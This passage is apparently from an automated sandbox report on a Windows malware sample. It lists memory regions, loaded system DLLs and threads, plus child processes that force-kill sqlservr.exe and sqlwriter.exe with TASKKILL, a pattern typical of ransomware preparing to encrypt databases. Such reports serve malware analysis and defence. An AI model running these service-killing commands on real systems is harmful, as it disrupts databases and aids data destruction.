(normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4182 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4183 start_va = 0x4b0000 end_va = 0x5affff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 4184 start_va = 0x2220000 end_va = 0x225ffff entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4185 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4186 start_va = 0x1e90000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 4187 start_va = 0x1f70000 end_va = 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 4188 start_va = 0x2260000 end_va = 0x252efff entry_point = 0x2260000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4189 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4190 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4191 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4192 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4193 start_va = 0x2f0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 4194 start_va = 0x1f00000 end_va = 0x1f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 4195 start_va = 0x2090000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 4196 start_va = 0x2110000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 4197 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4198 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4199 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4200 start_va = 0x6a480000 end_va = 0x6a515fff entry_point = 0x6a49f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4201 start_va = 0x6a7d0000 end_va = 0x6a7e7fff entry_point = 0x6a7d1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 259 os_tid = 0xa98 Thread: id = 260 os_tid = 0xa50 Thread: id = 261 os_tid = 0xa40 Thread: id = 262 os_tid = 0xa3c Thread: id = 263 os_tid = 0xa2c Process: id = "35" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x570ea000" os_pid = "0xa38" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM sqlservr.exe /IM sqlservr.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4202 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4203 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4204 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4205 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4206 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4207 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4208 start_va = 0x1a0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4209 start_va = 0x790000 end_va = 0x7a5fff entry_point = 0x795c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4210 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4211 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4212 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4213 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4214 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4215 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4216 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4217 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4218 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4219 start_va = 0x360000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 4220 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4221 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4222 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4223 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4224 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4225 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4226 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4227 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4228 start_va = 0x2f0000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 4229 start_va = 0x560000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 4230 start_va = 0x6a830000 end_va = 0x6a91afff entry_point = 0x6a8313ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4231 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4232 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4233 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4234 start_va = 0x74c40000 end_va = 0x74c4efff entry_point = 0x74c412a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4235 start_va = 0x74c50000 end_va = 0x74c58fff entry_point = 0x74c515a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4236 start_va = 0x74c60000 end_va = 0x74c70fff entry_point = 0x74c61300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4237 start_va = 0x74c80000 end_va = 0x74c8cfff entry_point = 0x74c811e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4238 start_va = 0x74c90000 end_va = 0x74cc4fff entry_point = 0x74c913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4239 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4240 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4241 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4242 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4243 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4244 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4245 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4246 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4247 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4248 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4249 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4250 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4251 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4252 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4253 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4254 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4255 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4256 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4257 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4258 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4259 start_va = 0x7b0000 end_va = 0x937fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 4260 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4261 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4262 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4263 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 4264 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4265 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4266 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 4267 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 4268 start_va = 0x1e0000 end_va = 0x29ffff entry_point = 0x1e0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4269 start_va = 0x4b0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 4270 start_va = 0x670000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4271 start_va = 0x940000 end_va = 0xac0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 4272 start_va = 0xad0000 end_va = 0x1ecffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 4273 start_va = 0x2070000 end_va = 0x20affff entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 4274 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4275 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4276 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 4277 start_va = 0x74bd0000 end_va = 0x74c2bfff entry_point = 0x74bf2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4278 start_va = 0x74c30000 end_va = 0x74c39fff entry_point = 0x74c3149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4279 start_va = 0x420000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 4280 start_va = 0x1ed0000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 4281 start_va = 0x74ba0000 end_va = 0x74bc8fff entry_point = 0x74ba6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4282 start_va = 0x6d0000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4283 start_va = 0x20b0000 end_va = 0x237efff entry_point = 0x20b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4284 start_va = 0x23c0000 end_va = 0x23fffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 4285 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4286 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4287 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4288 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4289 start_va = 0x4f0000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 4290 start_va = 0x750000 end_va = 0x78ffff entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 4291 start_va = 0x2380000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4292 start_va = 0x2430000 end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 4293 start_va = 0x74b90000 end_va = 0x74b9efff entry_point = 0x74b921a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4294 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4295 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4296 start_va = 0x6a570000 end_va = 0x6a605fff entry_point = 0x6a58f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4297 start_va = 0x74b70000 end_va = 0x74b87fff entry_point = 0x74b71335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 264 os_tid = 0xa30 Thread: id = 265 os_tid = 0xa8 Thread: id = 266 os_tid = 0xb74 Thread: id = 267 os_tid = 0xb88 Thread: id = 268 os_tid = 0xab8 Process: id = "36" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5722f000" os_pid = "0x604" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4298 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4299 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4300 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4301 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4302 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4303 start_va = 0x110000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4304 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 4305 start_va = 0x980000 end_va = 0x995fff entry_point = 0x985c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4306 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4307 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4308 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4309 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4310 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4311 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4312 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4313 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4314 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4315 start_va = 0x3f0000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 4316 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4317 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4318 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4319 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4320 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4321 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4322 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4323 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4324 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 4325 start_va = 0x580000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 4326 start_va = 0x6a520000 end_va = 0x6a60afff entry_point = 0x6a5213ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4327 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4328 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: 